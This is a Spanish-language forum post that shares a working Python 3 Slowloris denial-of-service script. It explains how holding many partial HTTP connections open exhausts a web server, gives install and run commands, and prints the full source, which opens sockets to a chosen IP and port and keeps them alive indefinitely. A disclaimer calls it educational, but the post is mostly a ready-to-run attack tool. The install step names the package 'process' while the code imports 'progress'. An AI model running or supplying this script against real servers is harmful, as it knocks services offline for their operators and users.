freishner

Capo
Se incorporó
16 Noviembre 2021
Mensajes
436
Les dejo una implementación de un ataque llamado Slow Loris en Python. Es Básica, la pillé en internet y la manocié un pelín para correrla en Python 3.

Nota:
Material publicado con fines educativos. No me hago responsable del uso.

¿Qué es Slow Loris?

Resúmen ejecutivo:

Suponga usted un servidor web que entiende HTTP, por lo tanto hablaríamos del puerto 80 para http:// y 443 para https://, no obstante pudieramos tener cualquier otro puerto de entrada para las conexiones.

Ahora suponga que el servidor es inteligente, pero no tanto como para hablar con más de 10 computadores al mismo tiempo. Cuando quiere hablar con 11, necesita terminar la comunicación con al menos 1 computador para poder hablar con ese 1 restante. ¿Qué pasaría si no pudiera dejar de hablar con ese 1, y en cambio, tuviera 100 computadores mas en espera? colapsaría. Ésto es en escencia un ataque slow loris.

El puerto indica donde está escuchando el servidor que entiende HTTP, el cual es el objetivo de ataque. La cantidad de conexiones vienen siendo la cantidad de computadores (en el ejemplo), para los cuales el servidor habla en paralelo (al mismo tiempo), y el tiempo (recomendado a 10 segundos) viene siendo cada cuanto se le indica al servidor que aún seguimos procesando los mensajes, y que por lo tanto, no cierre nuestra conexión (y eso para el total de conexiones que deseamos abrir). El tiempo es el parámetro vital, ya que nos permite seguir manteniendo la conexión abierta a gran escala.

No recomendaría mas de 1000 conexiones para nuestro ambiente de pruebas.

¿Cómo puedo saber si un servidor es vulnerable a slow loris?

Se puede utilizar una herramienta llamada slowhttptest la que realiza un pequeño ataque y toma mediciones volcándolas al final en un archivo HTML donde podemos consultar gráficas de disponibilidad y reacción del servidor objetivo.

Sírvase consultar los siguientes enlaces:

Nota:
El código es vagamente funcional en términos prácticos, aun así, el límite de conexiones no está gestionado, y podría causarle problemas a la máquina de origen. Tampoco es algo que bote un sitio.

Paquetes necesarios:
  • process

Instalar Python 3 (debian, ubuntu, mate, etc):
Bash:
sudo apt-get install python3

Instalar paquete process (debian, ubuntu, mate, etc):
Bash:
pip3 install process

Ejecución:
Bash:
python3 slow-loris.py IP-V4 PUERTO CANTIDAD-CONEXIONES TIEMPO

Python:
# -*- coding: utf-8 -*-

import sys
import random
import socket
import time
from progress.bar import Bar

regular_headers = [ "User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
                    "Accept-language: en-US,en,q=0.5"]

def init_socket(ip,port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)
    s.connect((ip,int(port)))
    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0,2000)).encode('UTF-8'))

    for header in regular_headers:
        s.send('{}\r\n'.format(header).encode('UTF-8'))

    return s

def main():
    if len(sys.argv)<5:
        print(("Usage: {} example.com 80 100 10".format(sys.argv[0])))
        return

    ip = sys.argv[1]
    port = sys.argv[2]
    socket_count= int(sys.argv[3])
    bar = Bar('\033[1;32;40m Creating Sockets...', max=socket_count)
    timer = int(sys.argv[4])
    socket_list=[]

    for _ in range(socket_count):
        try:
            s=init_socket(ip,port)
        except socket.error:
            break
        socket_list.append(s)
        bar.next()

    bar.finish()

    while True:
        bar = Bar('\033[1;32;40m Sending Keep-Alive Headers...', max=len(socket_list))
        for s in socket_list:
            bar.next()
            try:
                s.send("X-a {}\r\n".format(random.randint(1,5000)).encode('UTF-8'))
            except socket.error:
                socket_list.remove(s)
        bar.finish()
        
        # RECREATE ERROR SOCKETS
        toRecreate = socket_count - len(socket_list)
        bar = Bar('\033[1;32;40m Re-creating Socket....', max=toRecreate)
        for _ in range(socket_count - len(socket_list)):
            bar.next()
            try:
                s=init_socket(ip,port)
                if s:
                    socket_list.append(s)
            except socket.error:
                break
        bar.finish()
        
        time.sleep(timer)

if __name__=="__main__":
    main()
 
Subir